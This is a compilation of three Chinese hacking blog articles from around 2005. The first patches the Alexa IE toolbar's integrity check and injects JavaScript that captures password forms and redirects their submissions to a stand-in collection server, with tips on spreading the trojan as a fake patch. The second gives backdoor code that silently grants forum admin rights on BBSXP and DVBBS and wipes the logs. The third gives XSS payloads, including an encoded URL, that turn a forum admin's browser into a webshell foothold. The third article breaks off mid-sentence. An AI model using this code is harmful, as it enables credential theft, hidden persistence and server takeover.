分类 : 技术文摘 | 发表时间 02-01-2006
关键词: asp, ati, cookie, data, google, hi, ie, patch, pr, TM, windows, xp, 下载, 代码, 原理, 安装, 密码, 工具, 技术, 排名, 插件, 搜索, 服务, 服务器, 木马, 注册, 漏洞, 登陆, 破解, 统计, 网上银行, 网站, 网络, 自动, 补丁, 软件, 通信, 银行, 问题, 防火墙
Alexa是一个发布全球网站排名信息的网站,他的网址是http://www.alexa.com。Alexa通过在客户端安装Alexa工具条来收集采样全球网站的访问数据,以这些数据为依据对全球网站进行排名,类似于电视收视率的统计。Alexa工具条是一种类似于Google工具条的IE插件,你可以在下面URL中下载:http://download.alexa.com/index.cgi。
一、Alexa工具条的工作原理
Alexa工具条是一种基于BHO和Toolbar Bands技术的一种IE插件。它以DLL文件的形式存在于系统中,是一种COM组件,IE会在运行时将其加载到自身进程中去,所以一般情况下防火墙是无法禁止该软件访问网络的,这就为他的木马角色提供了先天的便利,而且比本机Sniff软件收集密码的优势是:无论是HTTP还是HTTPS的网站,不管通信通道是否加密,只要是IE页面的表单都能收集到。具体原理可以查阅《关于Alexa排名作弊的一些解惑》。
系统在安装了Alexa工具条后,会在系统目录下生成AlxTB1.dll和AlxRes.dll两个DLL文件(有些情况下是AlxTB2.dll,而不是AlxTB1.dll。那是因为Alexa工具条会自动上网更新的原因)。Alexa工具条的主要二进制代码存在于AlxTB1.dll文件中,这个文件同时也被注册成多个COM组件,他完成了BHO和Toolbar Bands的COM接口,并将IE的WebBrowser控件封装为一个COM组件供AlxRes.dll调用。AlxRes.dll文件仅包含少量的二进制代码,大量的代码是HTML和javascript代码,他们以资源的形式存在于AlxRes.dll文件中,你可以通过res://AlxRes.dll/CHTML/about.html这样的URL来访问这些资源。也许你会奇怪:又不是做网站,为什么软件的代码会是javascript写的?这就是Alexa工具条垃圾的地方。Alexa工具条的主界面是由HTML+javascript实现的。这些javascript代码通过调用AlxTB1.dll实现的COM接口来实现软件的全部功能。这样做不仅导致软件的效率低下,而且产生大量的资源泄漏,绝对是一种VERY超级SB的开发模式,但是却为我们修改Alexa工具条的功能提供了方便——根本不需要CRACKER知识,只要一个PE资源修改工具就可以对Alexa工具条的代码进行修改了。
二、破解Alexa工具条
当然,Alexa也不是真傻,绝对不会蠢到让自己的代码被你用资源修改工具随便改。为了防止AlxRes.dll中的资源被随意修改,他采取了计算文件校验和的保护方法,要是发现文件被修改,就会拒绝加载。我们在修改代码前,必须破解这种保护机制。
AlxTB1.dll导出一个名叫ChecksumResources的函数,这个函数就是用来计算文件校验和的。用c32asm反汇编AlxRes.dll文件,查看字符串调用列表,找到”ChecksumResources”字符串,跳转到调用该字符串的代码,于100017C0处。往下翻几行,在100017F6处找到一句跳转,采用爆破方式,用NOP指令覆盖JNZ指令即可。通俗点讲:就是将AlxRes.dll文件偏移”0x17F6″处的两个字节”75 11″改成”90 90″,你可以使用WinHex之类的16进制编辑软件来修改。
::100017C0:: 68 9C700010 PUSH 1000709C \:BYJMP JmpBy:100017A4,100017B1, \->: ChecksumResources
::100017C5:: 57 PUSH EDI
::100017C6:: FF15 1C500010 CALL [1000501C] >>>: KERNEL32.DLL:GetProcAddress
::100017CC:: 85C0 TEST EAX, EAX
::100017CE:: 74 0E JE SHORT 100017DE \:JMPDOWN
::100017D0:: 8D4D DC LEA ECX, [EBP-24]
::100017D3:: 51 PUSH ECX
::100017D4:: FF35 44740010 PUSH DWORD PTR [10007444]
::100017DA:: FFD0 CALL EAX
::100017DC:: 59 POP ECX
::100017DD:: 59 POP ECX
::100017DE:: 57 PUSH EDI \:BYJMP JmpBy:100017CE,
::100017DF:: FF15 18500010 CALL [10005018] >>>: KERNEL32.DLL:FreeLibrary
::100017E5:: 8D45 B8 LEA EAX, [EBP-48]
::100017E8:: 50 PUSH EAX
::100017E9:: 8D45 DC LEA EAX, [EBP-24]
::100017EC:: 50 PUSH EAX
::100017ED:: E8 AE060000 CALL 10001EA0 \:JMPDOWN
::100017F2:: 59 POP ECX
::100017F3:: 85C0 TEST EAX, EAX
::100017F5:: 59 POP ECX
::100017F6:: 75 11 JNZ SHORT 10001809 \:JMPDOWN ;就是修改这里
现在我们可以毫无顾忌的修改AlxRes.dll中的资源了。
三、修改Alexa工具条的代码
熟悉IE编程的人都知道,DWebBrowserEvents2接口是用来接收WebBrowser的事件通知的,我们可以在AlxRes.dll的javascript代码中找到这些些对应的函数。在res://AlxRes.dll/SCRIPT/EVT.CLASS.JS的代码中,有一系列的javascript函数,对应于DWebBrowserEvents2接口的成员,如:DocumentComplete->BP_onDocumentComplete,NavigateComplete2->BP_onNavigateComplete,BeforeNavigate2->BP_onBeforeNavigate。按照DWebBrowserEvents2接口,我们可以在BeforeNavigate2中截获PostData,但是在AlxRes.dll的代码中,这个接口没有完全实现。在DWebBrowserEvents2接口中的原型是:
void BeforeNavigate2(IDispatch *pDisp,
VARIANT *&url,
VARIANT *&Flags,
VARIANT *&TargetFrameName,
VARIANT *&PostData,
VARIANT *&Headers,
VARIANT_BOOL *&Cancel
);
这其中的PostData包含了的Post数据。而BP_onBeforeNavigate的函数原型:
function BP_onBeforeNavigate(oParentWebBrowser2, oWebBrowser2, sURL, bPostData, sHeaders);
其中,bPostData只是个BOOL类型的变量。此路不通,必须另想办法。
一般来说,我们在IE中输入的用户名密码都是通过表单提交到服务器的,如果能在表单提交前截获表单的内容就可以实现窃取密码了。在javascript中,只要处理表单的”OnSubmit”事件,就可以先于提交而处理表单的内容。而AlxRes.dll的功能也是由javascript实现的,所以我们就无需面对繁琐的COM接口,而直接使用javascript了。
这里我推荐使用Resource Hacker来修改AlexRes.dll中的资源,个人感觉比eXeScope用起来爽多了。
四、截获网页表单的内容
我现在使用的方法有些类似于”跨站点脚本执行漏洞”。先来看看”res://AlxRes.dll/SCRIPT/EVT.CLASS.JS”中的”BP_onDocumentComplete”函数:
function BP_onDocumentComplete(oParentWebBrowser2, oWebBrowser2, sURL);
该函数在IE的当前浏览页面被加载完成时被调用,其中的 oWebBrowser2 参数可以当作当前IE正在浏览的页面的window对象。如果你懂得javascript的话,接下来要做的事情就十分简单了。添加如下代码:
function BP_onDocumentComplete(oParentWebBrowser2, oWebBrowser2, sURL) {
… …
try{
for(i=0;i<oWebBrowser2.document.forms.length;i++)
{
oWebBrowser2.document.forms[i].onsubmit=test;
}
}catch(e){}
return false;
}
这段代码的作用就是枚举当前页面中所有的表单对象,并为这些表单定义OnSubmit事件。接下来就是完成test函数了:
function test()
{
try{
window.alert(“I can get the value!”);
for(i=0;i<this.length;i++)
{
if(this.elements[i].name!=”")
{
window.alert(this.elements[i].name+”:”+this.elements[i].value);
//do some thing
}
}
}catch(e){}
return true;
}
不过用这种方法存在一点弊端:当表单是通过javascript语句”Submit()”提交时,不会产生”OnSubmit”事件,上面的代码也就无法纪录下表单的内容了。可以采用改变表单提交地址的方法来解决这个问题:
function BP_onDocumentComplete(oParentWebBrowser2, oWebBrowser2, sURL) {
… …
try{
/> for(i=0;i<oWebBrowser2.document.forms.length;i++)
{
oWebBrowser2.document.forms[i].innerHTML=oWebBrowser2.document.forms[i].innerHTML+”<input name=OriginalAction type=hidden value=’”+oWebBrowser2.document.forms[i].action+”’>”;
oWebBrowser2.document.forms[i].action=”http://www.faketarget.com/gather.asp”;
}
}catch(e){}
return false;
}
以上的代码对于某些页面存在问题,有时会无法将隐藏字段添加到表单中去。
五、散布和植入木马
以上代码均是用PE资源软件修改AlxRes.dll文件实现的。所以,只要用新的AlxRes.dll文件将原来系统的AlxRes.dll替换掉。Alexa工具条在加载的时候会优先在”C:\Program Files\Internet Explorer”和”C:\Documents and Settings\[username]\桌面”这两个路径下搜索AlxRes.dll,所以也可以把修改过的AlxRes.dll放到这两个路径下,这样就不用覆盖源文件了。至于怎么安装,那可是有一大堆的IE漏洞等着你去Exploit呢,这可不是本文涉及的范围。
安装了Alexa工具条的IE的”User-Agent”会加入”Alexa Toolbar”的标记,所以很容易区分目标的IE是否已经安装了Alexa工具条:
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Alexa Toobar)
也可以修改Alexa的安装文件,或者以Alexa补丁的名义来发布,这个就扯远了。
六、收集密码
你可以用FileSystemObject控件来将表单内容纪录到文件,或者直接作为参数发送到某个Web服务器,由web服务器收集纪录下来即可。为了在客户端过滤一些不包含密码的表单,最好在AlxRes.dll的代码中对收集的表单数据进行一些检查:
function test()
{
var IsPwdForm=false;
var FormStr;
try{
for(i=0;i<this.length;i++)
{
if(this.elements[i].name!=”")
{
if(this.elements[i].type==”password”)
IsPwdForm=true;
FormStr=FormStr+this.elements[i].name+”=”+this.elements[i].value+”&”;
}
}
if(IsPwdForm)
{
//表单包含密码文本,进行收集
}
}catch(e){}
return true;
}
七、其他的应用
大多数的网上银行登陆界面是由ActiveX控件实现的,无法截获表单数据,但是我们可以通过”oWebBrowser2″对象来操纵、修改浏览的页面,当然也可以伪造一个网上银行的登陆界面。还可以用来收集用户浏览网页的纪录,也可以用来窃取用户COOKIE等。
分类 : 技术文摘 | 发表时间 02-01-2006
关键词: asp, bbs, cookie, error, hi, ie, md5, sql, webshell, xp, 代码, 安全, 实验, 密码, 搜索, 数据库, 日志, 漏洞, 登陆, 网站, 论坛, 错误, 问题
目标:通过Webshell对原文件的修改使自己变成管理员,常规情况下不会被管理员发现。
目的:方便大家,其实懂一点点asp的人都会,不过自己试,费的时间比较多。
在拿到webshell的情况下如何控制论坛呢?
这个问题好像有点多余。一般都是从论坛弄webshell,怎么会出现这种情况呢?现在的论坛做的越来越安全,在新漏洞发现之前,最新版本的论坛一般很难攻克。但是一个网站总有软肋,在菜鸟圈里很火的注入、上传漏洞,还有旁注等等都可以让我们拿到Webshell。
许多人都会问,有webshell了还怕论坛下不来?改数据就可以了。但是这样问题就来了,admin没事突然发现多了个管理员帐户,你说他怎么想?说不定来个大清查。(没准把我们的webshell也揪出来)
既然我们有了webshell,那何不在论坛上做做手脚?
1. bbsxp。
版本:偶以5.1说明
(1)成为前台Master
新建include.asp,内容如下:
<%
if Request.Cookies(“username”)=”snake” then
membercode=5
end if
%>
在setup.asp尾部添加如下代码:
<!– #include file=”include.asp” –>
一定要是在尾部,如果添加在头部,那么membercode又会被还原成原来的值。
这样,你就可以成为一个”隐身”管理员了.
(2). 成为后台Master
在admin.asp里看到sub(pass)的这里(53行):
session(“pass”)=md5(“”&Request(“pass”)&”")
if adminpassword<>session(“pass”) then error2(“社区管理密码错误”)
这个就是后台密码验证,我们改改:
if Request.Cookies(“username”)<>”snake” then
session(“pass”)=md5(“”&Request(“pass”)&”")
if adminpassword<>session(“pass”) then error2(“社区管理密码错误”)
end if
小结一下,如果你有webshell,那就不要读数据库了,打开文件,把你不满意的密码验证都加上IF语句。控制好条件,等到你登陆后,这些验证就……
再加上这样一段:
If Request.Cookies(“username”)=”snake” then
Session(“pass”)= adminpassword
End if
怎么样,进入后台随便输入一个密码。OK!进去了。
虽然别人从正常渠道看不出来你是master了.但是别忘了bbsxp的日志,既然我们有webshell,那还不好改?
在admin.asp中164行可以看到这样一句:
conn.execute(“delete from [log] where logtime<”&SqlNowString&”-7″)
这就是日志只保存7天的原因了.我们在其后也来一句:
conn.execute(“delete from [log] where ‘username’='snake’”)
这样,每次有人登陆后台,我们的操作就Over掉啦.
2. dvbbs.
版本:以7.0 ac说明(菜之至极,手里的鸡都没有7.1,嗨!老天呐!)
(1):成为前台Master
洞网论坛大家应该非常熟悉了吧。它的权限判断是放在/inc/Dv_ClsMain.asp里完成的。得到前台管理员当然要从这里入手了。
洞网的身份标识是UserGroupID,1对应的就是管理员。所以大家在Dv_ClsMain.asp搜索UserGroupID,一路来到614-623行:
Select Case UserGroupID
Case 8
Vipuser = True
Case 3
Boardmaster = True
Case 2
Superboardmaster = True
Case 1
Master = True
End Select
这就是身份判断的地方。让我们在这之前加上如下:
if Request.Cookies(Forum_sn)(“username”)=”snake” then
UserGroupID=1
end if
(2):成为后台Master
后台登陆的验证就放在admin_index.asp里。看到chklogin()里的319-342行,我们按照如下方式修改:
‘======================== By Snakehu
if username <> “snake” then
‘======================== By Snakehu
set rs=Dvbbs.Execute(“select * from “&admintable&” where username=’”&username&”‘ and adduser=’”&dvbbs.membername&”‘”)
if rs.eof and rs.bof then
rs.close
set rs=nothing
Response.Redirect “showerr.asp?action=OtherErr&ErrCodes=<li>您输入的用户名和密码不正确或者您不是系统管理员。请<a href=admin_login.asp>重新输入</a>您的密码。<b>返回后请刷新登录页面后重新输入正确的信息。</b>”
exit sub
else
if trim(rs(“password”))<>password then
Response.Redirect “showerr.asp?action=OtherErr&ErrCodes=<li>您输入的用户名和密码不正确或者您不是系统管理员。请<a href=admin_login.asp>重新输入</a>您的密码。<b>返回后请刷新登录页面后重新输入正确的信息。</b>”
exit sub
else
session(“flag”)=rs(“flag”)
session.timeout=45
Dvbbs.Execute(“update “&admintable&” set LastLogin=”&SqlNowString&”,LastLoginIP=’”&ip&”‘ where username=’”&username&”‘”)
rs.close
set rs=nothing
response.redirect “admin_index.asp”
end if
end if
‘======================== By Snakehu
else
session(“flag”)=”1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36″
session.timeout=45
response.redirect “admin_index.asp”
end if
‘======================== By Snakehu
end sub
解释一下,session(“flag’)是用来判断权限的,每个数字都对应后台一个版面,如果里面含有对应版面的flag就通过;否则弹出错误页面。
由于小菜我手头没有装了7.1的肉鸡,就只好用7.0ac的实验啦。7.1的方法我想也差不多吧。只不过我记得7.1的admin_login.asp部分代码不一样,可能要麻烦大家自己改了。
好了,现在从前台进入“管理”,输入用户名snake,密码任意。哇,终于进来了,可爱的后台!
对于dvbbs的日志,对待方法和bbsxp差不多。就不多说了。实在不行,你把admin_log.asp里223行的
(“”D”",l_addtime, “&SqlNowString&”) > 2
的2改称0就可以了。这里的意思是作删除操作时2天之内的日志不被删除,我们改成0就都删除了。
分类 : 系统安全 | 发表时间 27-12-2005
关键词: asp, bbs, cookie, css, data, error, flash, hi, hp, ie, php, qq, TM, xp, 代码, 动画, 安全, 密码, 技术, 攻击, 数据库, 服务, 服务器, 木马, 注册, 测试, 漏洞, 登陆, 程序, 自动, 资料, 问题, 限制, 黑客
一、什么是XSS攻击
XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性。而本文主要讲的是利用XSS得到目标服务器的shell。技术虽然是老技术,但是其思路希望对大家有帮助。
如何寻找XSS漏洞
就个人而言,我把XSS攻击分成两类,一类是来自内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句,如:dvbbs的showerror.asp存在的跨站漏洞。另一类则是来来自外部的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个有跨站漏洞的网页,然后构造跨站语句,通过结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开。
然后利用下面的技术得到一个shell.
如何利用
传统的跨站利用方式一般都是攻击者先构造一个跨站网页,然后在另一空间里放一个收集cookie的页面,接着结合其它技术让用户打开跨站页面以盗取用户的cookie,以便进一步的攻击。个人认为这种方式太过于落后,对于弊端大家可能都知道,因为即便你收集到了cookie你也未必能进一步渗透进去,多数的cookie里面的密码都是经过加密的,如果想要cookie欺骗的话,同样也要受到其它的条件的限约。而本文提出的另一种思路,则从一定程度上解决上述的问题。对于个人而言,比较成熟的方法是通过跨站构造一个表单,表单的内容则为利用程序的备份功能或者加管理员等功能得到一个高权限。下面我将详细的介绍这种技术。
二、来自内部的跨站攻击
寻找跨站漏洞
如果有代码的话比较好办,我们主要看代码里对用户输入的地方和变量有没有做长度和对”<”,”>”,”;”,”’”等字符是否做过滤。还有要注意的是对于标签的闭合,像测试QQ群跨站漏洞的时候,你在标题处输入,代码是不会被执行的,因为在源代码里,有其它的标签未闭合,如少了一个,这个时候,你只要闭合一个,代码就会执行,如:你在标题处输入,这样就可以弹出一个test的框。
如何利用
我先以BBSXP为例,过程已做成动画,详情可见光盘中的动画。我举BBSXP中其中两个比较好用的跨站漏洞点为例.
a.先注册一个普通用户,我这里注册的用户是linzi.然后我们在个人签名里写入:
c.然后发个贴子,可以结合其它技术欺骗管理员浏览发的贴子。
d.因为是测试,所以我们以管理员身份登陆,然后打开贴子,我们会发现,linzi已经变成了社区区长工,如图一所示
除此之外我们只要在个人签名里输入
同样发个贴子等,只要管理员打开了,就会加了一个扩展名为asp (有空格)的上传扩展,这个时候,你只要上传一个newmm.asp (有空格)就可以得到一个shell.
上面的攻击多多少少有点局限性,虽然可以得到shell,但是隐蔽性不太好,因为签名处受到了长度的限制,不能超过255个字符。我们可以结合flash跨站实现更为隐蔽的攻击,对于flash木马的制作,下面见哥们丰初的介绍。
再利用如下:
修改一下个人头像的url,输入代码如下: admin_setup.asp?
menu=variableok&clubname=+&homename=+&homeurl=&floor=2&PostTime=3&Timeout=6&OnlineTime=12&Reg10=10&style=1&selectup=FSO&MaxFace=10240&MaxPhoto=30720&MaxFile=102400&UpFileGenre=gif|jpg|php|rar
再接着欺骗管理员打开你的资料或者浏览你的贴子,当管理员打开后,会在后台自动加个php扩展名的后辍,因为bbsxp在个人头像url里过滤了空格,%,所以我们只能加个不包括空格的其它扩展,当然你也可以加个shtml的扩展,有了它你就可以用来查看源代码,然后进一步攻击。
三、来自外部的跨站攻击
有的时候,当我们对于目标程序找不到可以利用的跨站点,这个时候我们可以利用可以从外部入手,利用我们要拿下的是它的论谈,论谈的安全性做的很好,但其留言板却存在跨站漏洞,这个时候我们可以在留言板里写入跨站语句,跨站语句为以表单的方式向论谈提交提升权限的语句,如上面的bbsxp加asp 扩展的语句。当然我们可利用后台的备份功能直接得到一个shell。
例:先上传一个文件linzi.txt,内容如下:
action="http://127.0.0.1/bbsxp/admin_fso.asp?menu=bakbf" method="post">
上面的代码是把论谈的数据库备份为shit.asp,留言板存在跨站点如下:
http://127.0.0.1/bbsxp/page2.asp?username=
我们构造备份跨站语句如下:
http://127.0.0.1/bbsxp/page2.asp?username=%3C%62%6F%64%79%20%6F%6E%6C%6F%61%64%3D%22%6A%61%76%61%73%63%72%69%70%74%3A%64%6F%63%75%6D%65%6E%74%2E%66%6F%72%6D%73%5B%30%5D%2E%73%75%62%6D%69%74%28%29%22%3E%3C%66%6F%72%6D%20%61%63%74%69%6F%6E%3D%22%68%74%74%70%3A%2F%2F%31%32%37%2E%30%2E%30%2E%31%2F%62%62%73%78%70%2F%61%64%6D%69%6E%5F%66%73%6F%2E%61%73%70%3F%6D%65%6E%75%3D%62%61%6B%62%66%22%20%6D%65%74%68%6F%64%3D%22%70%6F%73%74%22%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%64%61%74%61%62%61%73%65%2F%62%62%73%78%70%2E%6D%64%62%22%20%6E%61%6D%65%3D%22%79%6C%22%20%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%64%61%74%61%62%61%73%65%2F%73%68%69%74%2E%61%73%70%22%20%6E%61%6D%65%3D%22%62%66%22%20%3E%3C%2F%62%6F%64%79%3E%3C%2F%68%74%6D%6C%3E
或者构造跨站语句,利用iframe打开一个0大小的linzi.txt。
当管理员打开后,会自动备份得到一个shell.
四、XSS与其它技术的结何
从上面的实例,我们可以知道,如何欺骗管理打开是一个很重要的步骤,对于欺骗打开,除了社会工程学外,我们可以
